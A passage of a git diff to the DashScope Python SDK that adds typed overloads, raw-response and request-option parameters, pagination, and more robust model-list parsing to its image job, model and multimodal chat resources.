None: self._synthesis = AsyncJobs(client, SERVICE, MODULE) self._generation = AsyncJobs(client, TASK_SERVICE, MODULE) + @overload async def create( self, *, model: str, - prompt: str, + prompt: Optional[str] = None, negative_prompt: Optional[str] = None, n: Optional[int] = None, size: Optional[str] = None, @@ -571,7 +868,72 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit an image task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ # The upload path is blocking (file post + getPolicy), so it runs in # a worker thread -- over a transport bridged back to this loop, # which is what lets it serve the policy fetch. @@ -608,6 +970,11 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) return await self._synthesis.create( model=model, @@ -625,8 +992,14 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -634,14 +1007,61 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one image task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return await self._synthesis.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def cancel( self, task_id: str, @@ -649,15 +1069,61 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return await self._synthesis.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def list( # pylint: disable=redefined-builtin self, *, @@ -672,8 +1138,62 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return await self._synthesis.list( start_time=start_time, end_time=end_time, @@ -686,6 +1206,11 @@ async def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -697,6 +1222,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._synthesis.wait( @@ -706,6 +1235,10 @@ async def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -739,8 +1272,18 @@ async def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """See :meth:`Images.generate`.""" + options = request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ) if _uses_multimodal_protocol(model): # The upload path is blocking (file post + getPolicy), so it runs # in a worker thread -- over a transport bridged back to this @@ -777,13 +1320,18 @@ async def generate( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=options, ) check_response( response, raise_on_error=self._client.raise_on_error, ) return with_headers( - _parse_sync_job(response_json(response)), + _parse_sync_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) job = await self.jobs.create( @@ -803,6 +1351,10 @@ async def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return await self.jobs.wait( job, @@ -811,4 +1363,8 @@ async def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index 633229ac..80f557a3 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -4,21 +4,37 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field from dashscope.errors import ( ErrorCode, - check_response, error_from_business_code, - response_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, response_envelope, with_headers, ) +from dashscope.types.pagination import BasePage + +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse _BASE_PATH = "/models" @@ -46,31 +62,69 @@ class Model(ResponseBase): ) -class ModelList(ResponseBase): - page_no: int = 1 - page_size: int = 10 - total_count: int = 0 +class ModelList(BasePage[Model]): + """One page of the model catalog, from ``models.list``. + + ``page_no`` / ``page_size`` / ``total_count`` come from + :class:`~dashscope.types.pagination.BasePage`; iterate the page directly + (``for m in page``) or cross pages with ``iter_pages()`` / + ``next_page()``. + """ + models: List[Model] = [] + @property + def items(self) -> List[Model]: + return self.models -def _parse_list(body: Dict[str, Any]) -> ModelList: - # ``get`` is this same endpoint filtered by query params, and the - # native envelope nests its page under ``output``; ``data`` stays - # accepted for gateways that re-wrap the page OpenAI-style. + +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> ModelList: + """Build a page from the native envelope. + + ``get`` is this same endpoint filtered by query params, and the native + gateway nests its page under ``output``; ``data`` stays accepted for + gateways that re-wrap the page OpenAI-style. + + A body carrying the page as a bare list has no ``page_no`` / ``total`` to + read, so the list is taken as one whole page: the generic envelope + lifter only unwraps a *dict*, and letting this shape through it would + parse as an empty catalog rather than as the malformed one it is. The + ``total`` fallback to ``len(models)`` keeps ``total_count`` meaningful + for gateways that omit it, matching ``files.list``. + """ data = body.get("output") or body.get("data") or {} if isinstance(data, dict): - models = data.get("models") or [] + models = data.get("models") + # A retyped ``models`` would both poison the ``len()`` below (a + # string's length is not a page total) and blow up in the model + # layer's repair of a list field. Empty is the honest reading of + # "not a list", matching ``JobList.from_payload``. + if not isinstance(models, list): + models = [] page_no = data.get("page_no", 1) page_size = data.get("page_size", 10) total = data.get("total", len(models)) else: - models, page_no, page_size, total = data, 1, 10, len(data) - return ModelList( - page_no=page_no, - page_size=page_size, - total_count=total, - models=models, - **response_envelope(body), + # Only a genuine list can be read as a whole page; ``len()`` on a + # drifted scalar would escape as a bare TypeError from here. + models = data if isinstance(data, list) else [] + page_no, page_size, total = 1, 10, len(models) + return parse_model( + ModelList, + { + "page_no": page_no, + "page_size": page_size, + "total_count": total, + "models": models, + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -93,6 +147,7 @@ class Models: def __init__(self, client) -> None: self._client = client + @overload def list( self, *, @@ -102,14 +157,65 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ModelList: + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ModelList, "APIResponse"]: """List models; ``provider`` filters client-side per page. The server has no provider filter, so ``total_count`` is always the pre-filter total of the whole catalog, not of the filtered - ``models`` slice. + ``models`` slice. Pagination therefore walks the unfiltered catalog: + ``has_next_page()`` / ``iter_pages()`` follow ``total_count``, and the + ``provider`` filter is applied to each fetched page independently. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + instead of a ``ModelList``, before any error check, so callers can + read the raw response (status, headers, ``elapsed``) or re-parse it. + Note that ``resp.parse(ModelList)`` is the generic envelope mapping + and does not replay this method's own reshaping: a page delivered as + a bare list, or one whose ``total`` the gateway omitted, parses + through it as an empty catalog. Use ``resp.json()`` and + ``_parse_list`` when the raw path has to agree with this one. """ - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -117,15 +223,45 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + result = _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - result = _parse_list(response_json(response)) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) ] - return with_headers(result, response) + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + provider=provider, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + requested_page_no=page_no, + requested_page_size=page_size, + ) + return with_headers(result, resp.http_response) + @overload def get( self, model: str, @@ -133,9 +269,45 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Model: + ... + + @overload + def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Model, "APIResponse"]: # Server filters by model name via query params. - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"model": model, "page_no": 1, "page_size": 1}, @@ -143,9 +315,18 @@ def get( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - body = response_json(response) + if raw: + return resp + resp.raise_for_status() + body = resp.json() models = _parse_get_models(body) if not models: if self._client.raise_on_error: @@ -153,12 +334,28 @@ def get( message=f"Model '{model}' not found", code=ErrorCode.MODEL_NOT_EXIST.value, body=body, - headers=response.headers, + headers=resp.http_response.headers, ) - return with_headers(Model(**response_envelope(body)), response) + return with_headers( + parse_model( + Model, + response_envelope(body), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, + ) return with_headers( - Model(**models[0], **response_envelope(body)), - response, + parse_model( + Model, + # Dict merge, not ``**`` twice: a wire entry carrying an + # envelope key of its own would otherwise raise a + # duplicate-keyword TypeError instead of being parsed. + {**models[0], **response_envelope(body)}, + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) @@ -166,6 +363,7 @@ class AsyncModels: def __init__(self, client) -> None: self._client = client + @overload async def list( self, *, @@ -175,8 +373,48 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ModelList: - response = await self._client.transport.request( + ... + + @overload + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ModelList, "APIResponse"]: + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -184,15 +422,45 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + result = _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - result = _parse_list(response_json(response)) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) ] - return with_headers(result, response) + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + provider=provider, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + requested_page_no=page_no, + requested_page_size=page_size, + ) + return with_headers(result, resp.http_response) + @overload async def get( self, model: str, @@ -200,9 +468,45 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Model: + ... + + @overload + async def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Model, "APIResponse"]: # Server filters by model name via query params. - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"model": model, "page_no": 1, "page_size": 1}, @@ -210,9 +514,18 @@ async def get( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - body = response_json(response) + if raw: + return resp + resp.raise_for_status() + body = resp.json() models = _parse_get_models(body) if not models: if self._client.raise_on_error: @@ -220,10 +533,26 @@ async def get( message=f"Model '{model}' not found", code=ErrorCode.MODEL_NOT_EXIST.value, body=body, - headers=response.headers, + headers=resp.http_response.headers, ) - return with_headers(Model(**response_envelope(body)), response) + return with_headers( + parse_model( + Model, + response_envelope(body), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, + ) return with_headers( - Model(**models[0], **response_envelope(body)), - response, + parse_model( + Model, + # Dict merge, not ``**`` twice: a wire entry carrying an + # envelope key of its own would otherwise raise a + # duplicate-keyword TypeError instead of being parsed. + {**models[0], **response_envelope(body)}, + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) diff --git a/dashscope/resources/multimodal/chat.py b/dashscope/resources/multimodal/chat.py index 2ca02e3d..f6b08fa5 100644 --- a/dashscope/resources/multimodal/chat.py +++ b/dashscope/resources/multimodal/chat.py @@ -15,7 +15,16 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union, overload +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Mapping, + Optional, + Union, + overload, +) from typing_extensions import Literal @@ -27,9 +36,13 @@ _build_request, _send, ) +from dashscope.transport._options import request_options from dashscope.types.completions import ChatCompletion from dashscope.types.messages import MessageInput +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncMultimodalChat", "MultimodalChat", @@ -45,7 +58,7 @@ def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[True], tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -68,9 +81,15 @@ def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatStream: ... @@ -79,7 +98,7 @@ def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[False] = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -102,17 +121,63 @@ def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + def create( + self, + *, + model: str, + messages: Optional[Union[str, List[MessageInput]]] = None, + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: bool = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -135,10 +200,25 @@ def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[ChatCompletion, ChatStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, ChatStream, "APIResponse"]: + """Run one multimodal-generation chat call. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ built = _build_request( self._client, multimodal=True, @@ -166,6 +246,7 @@ def create( parallel_tool_calls=parallel_tool_calls, incremental_output=incremental_output, parameters=parameters, + extra_input=extra_input, api_key=api_key, workspace=workspace, ) @@ -180,6 +261,13 @@ def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + raw=raw, ) @@ -192,7 +280,7 @@ async def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[True], tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -215,9 +303,15 @@ async def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> AsyncChatStream: ... @@ -226,7 +320,7 @@ async def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[False] = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -249,17 +343,63 @@ async def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + async def create( + self, + *, + model: str, + messages: Optional[Union[str, List[MessageInput]]] = None, + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + async def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: bool = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -282,10 +422,25 @@ async def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: 